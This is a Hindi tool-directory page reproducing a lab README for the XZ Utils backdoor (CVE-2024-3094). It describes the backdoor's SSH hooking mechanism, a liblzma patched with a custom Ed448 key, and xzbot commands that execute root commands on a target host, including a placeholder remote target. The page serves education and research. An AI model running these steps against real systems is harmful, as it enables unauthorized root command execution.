Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-3094 — CVE-2024-3094 - XZ Utils बैकडोर | Kitploit
उपकरण/GitHubGitHub/h3raklez/cve-2024-3094
भेद्यता विश्लेषणशोषणमालवेयर विश्लेषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubh3raklez/cve-2024-3094

CVE-2024-3094

CVE-2024-3094 - XZ Utils बैकडोर

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-3094 — XZ उपयोगिताएँ बैकडोर

केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।

भेद्यता विवरण

CVE-2024-3094 एक बैकडोर है जो XZ उपयोगिताएँ (liblzma) के संस्करण 5.6.0 और 5.6.1 में पेश किया गया था, जिसे 29 मार्च 2024 को सुरक्षा शोधकर्ता एंड्रेस फ्रॉइंड द्वारा खोजा गया। इसे 10.0 (गंभीर) का CVSS स्कोर दिया गया।

यह एक आपूर्ति श्रृंखला हमला है जिसे 'जिया तान' (JiaT75) नामक एक खतरे के अभिनेता ने दो वर्षों से अधिक समय तक अंजाम दिया, जिसने परियोजना के भीतर विश्वास बनाया और सह-अनुरक्षक का दर्जा प्राप्त करने के बाद बैकडोर को सीधे वितरण टारबॉल में शामिल कर दिया।

तकनीकी तंत्र

बैकडोर निम्नानुसार काम करता है:

  1. दुर्भावनापूर्ण liblzma.so OpenSSH में RSA_public_decrypt() फ़ंक्शन को glibc के IFUNC तंत्र के माध्यम से हुक करता है, SSH प्रमाणीकरण प्रक्रिया को बाधित करता है।
  2. जब कोई क्लाइंट कनेक्ट होता है, तो बैकडोर प्रस्तुत SSH प्रमाणपत्र में एक विशिष्ट फ़ील्ड का मूल्यांकन करता है।
  3. यदि उस फ़ील्ड में एक पेलोड है जो ChaCha20 से एन्क्रिप्टेड और एक विशिष्ट Ed448 निजी कुंजी से हस्ताक्षरित है, तो बैकडोर sshd विशेषाधिकारों (रूट) के साथ system() के माध्यम से एम्बेडेड कमांड निष्पादित करता है।
  4. यदि हस्ताक्षर अमान्य है, तो sshd बिना किसी विसंगति के अपने सामान्य प्रवाह को जारी रखता है।

शोषण आवश्यकताएँ

  • glibc (IFUNC समर्थन) वाला सिस्टम
  • XZ उपयोगिताएँ 5.6.0 या 5.6.1 स्थापित
  • sshd systemd से लॉन्च किया गया (महत्वपूर्ण आवश्यकता — यदि sshd कमांड लाइन से मैन्युअल रूप से लॉन्च किया जाता है तो IFUNC हुकिंग सक्रिय नहीं होती)
  • x86-64 सिस्टम

मूल रूप से प्रभावित वितरण

  • फेडोरा लिनक्स 40 बीटा / रॉहाइड
  • डेबियन अस्थिर, परीक्षण, प्रयोगात्मक
  • काली लिनक्स
  • आर्क लिनक्स (2024-02-24 और 2024-03-28 के बीच की छवियाँ)

प्रयोगशाला वातावरण

यह प्रयोगशाला मूल अभिनेता की कुंजियों (जो कभी सार्वजनिक नहीं की गईं) के बजाय कस्टम Ed448 कुंजियों का उपयोग करके बैकडोर तंत्र का अनुकरण करती है।

हम chroot का उपयोग क्यों करते हैं

वास्तविक प्रभावित सिस्टम में कोई chroot नहीं था। बैकडोर सीधे सिस्टम के sshd पर काम करता था, जो किसी भी अन्य साझा लाइब्रेरी की तरह दुर्भावनापूर्ण liblzma.so को लोड करता था — सिस्टम और उसके प्रशासकों के लिए पूरी तरह से पारदर्शी।

इस प्रयोगशाला में हम केवल एक व्यावहारिक कारण से chroot का उपयोग करते हैं: हमें होस्ट सिस्टम की लाइब्रेरीज़ को बदले बिना liblzma.so के एक विशिष्ट संस्करण के साथ sshd चलाने की आवश्यकता है। यह शोध वातावरण के लिए एक डिज़ाइन निर्णय है, न कि यह दर्शाता है कि उत्पादन में बैकडोर कैसे काम करता था।

घटक

घटकविवरण
env_fs/न्यूनतम Ubuntu 22.04 फ़ाइलसिस्टम जिसे chroot के रूप में उपयोग किया जाता है

लक्ष्य स्टैक

  • Ubuntu 22.04.1 LTS AMD64
  • glibc 2.35
  • OpenSSH 8.9p1
  • systemd 249
  • liblzma 5.6.1 (पैच किया गया)

इस लक्ष्य के लिए किए गए संशोधन

मूल बैकडोर के लिए बहुत विशिष्ट शर्तों की आवश्यकता होती है जो प्रयोगशाला वातावरण में स्वचालित रूप से मौजूद नहीं होती हैं। निम्नलिखित संशोधन आवश्यक थे:

1. liblzma.so प्रतिस्थापन

MagpieRYL के मूल रिपॉजिटरी में शामिल liblzma.so.5 एक अज्ञात Ed448 कुंजी का उपयोग करता है जो शामिल xzbot बाइनरी के साथ असंगत है। मूल और प्रामाणिक liblzma.so.5.6.1 को Debian स्नैपशॉट से डाउनलोड किया गया (sha256 सत्यापित) और amlweems/xzbot से patch.py का उपयोग करके seed=0 के साथ पैच किया गया:

root@kitploit:~
original sha256:  605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256:   ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset:   0x24470

मूल अभिनेता की Ed448 सार्वजनिक कुंजी को इससे बदल दिया गया:

root@kitploit:~
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

2. systemd सेवा में Type=simple

मूल सेवा Type=notify का उपयोग करती है, जिसके लिए sshd को systemd को एक स्टार्टअप सूचना भेजने की आवश्यकता होती है। chroot के अंदर sshd इसे नहीं भेजता, जिससे टाइमआउट होता है। Type=simple में बदल दिया गया।

3. क्षणिक chroot निर्देशिकाएँ

sshd को विशेषाधिकार पृथक्करण के लिए /run/sshd की आवश्यकता होती है। यह निर्देशिका chroot में मौजूद नहीं है और प्रत्येक रीबूट पर मिटा दी जाती है क्योंकि run/ एक tmpfs है। एक ExecStartPre के साथ हल किया गया जो प्रत्येक सेवा प्रारंभ से पहले इसे स्वचालित रूप से पुन: उत्पन्न करता है।


उपयोग

उसी मशीन से शोषण

root@kitploit:~
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result

दूसरी मशीन से शोषण

root@kitploit:~
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'

शोषण द्वारा उत्पन्न फ़ाइलों का स्थान

कमांड chroot के अंदर निष्पादित होता है, इसलिए बैकडोर संदर्भ में /tmp/ के अंतर्गत बनाई गई कोई भी फ़ाइल यहाँ संग्रहीत की जाती है:

root@kitploit:~
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/

अर्थात, यदि कमांड echo pwned > /tmp/result है, तो फ़ाइल यहाँ मिलेगी:

root@kitploit:~
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result

शोषण द्वारा उत्पन्न किसी भी फ़ाइल का पता लगाने के लिए:

root@kitploit:~
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f

handshake failed: EOF पर नोट

संदेश ssh: handshake failed: EOF अपेक्षित और सही व्यवहार है। बैकडोर कमांड निष्पादित करता है और SSH सत्र स्थापित किए बिना कनेक्शन बंद कर देता है। यह विफलता का संकेत नहीं देता है।


महत्वपूर्ण

यह प्रयोगशाला एक कस्टम क्रिप्टोग्राफ़िक कुंजी युग्म (seed=0) का उपयोग करती है। पैच किया गया liblzma.so केवल संबंधित निजी कुंजी से हस्ताक्षरित पेलोड को स्वीकार करता है, जो इस वातावरण में संकलित xzbot द्वारा उपयोग की जाती है। कोई भी अन्य क्लाइंट बिना निष्पादन के EOF प्राप्त करेगा।


संदर्भ

  • मूल Openwall खुलासा
  • amlweems/xzbot
  • MagpieRYL/CVE-2024-3094-backdoor-env-container
  • Datadog Security Labs विवरण
  • विकिपीडिया — XZ उपयोगिताएँ बैकडोर

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।

टूल डाउनलोड करें
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5कस्टम Ed448 कुंजी के साथ पैच किया गया liblzma 5.6.1
/etc/systemd/system/xzback.serviceपोर्ट 2024 पर कमजोर sshd लॉन्च करने वाली systemd सेवा
/xzbot/xzbotस्रोत से संकलित शोषण क्लाइंट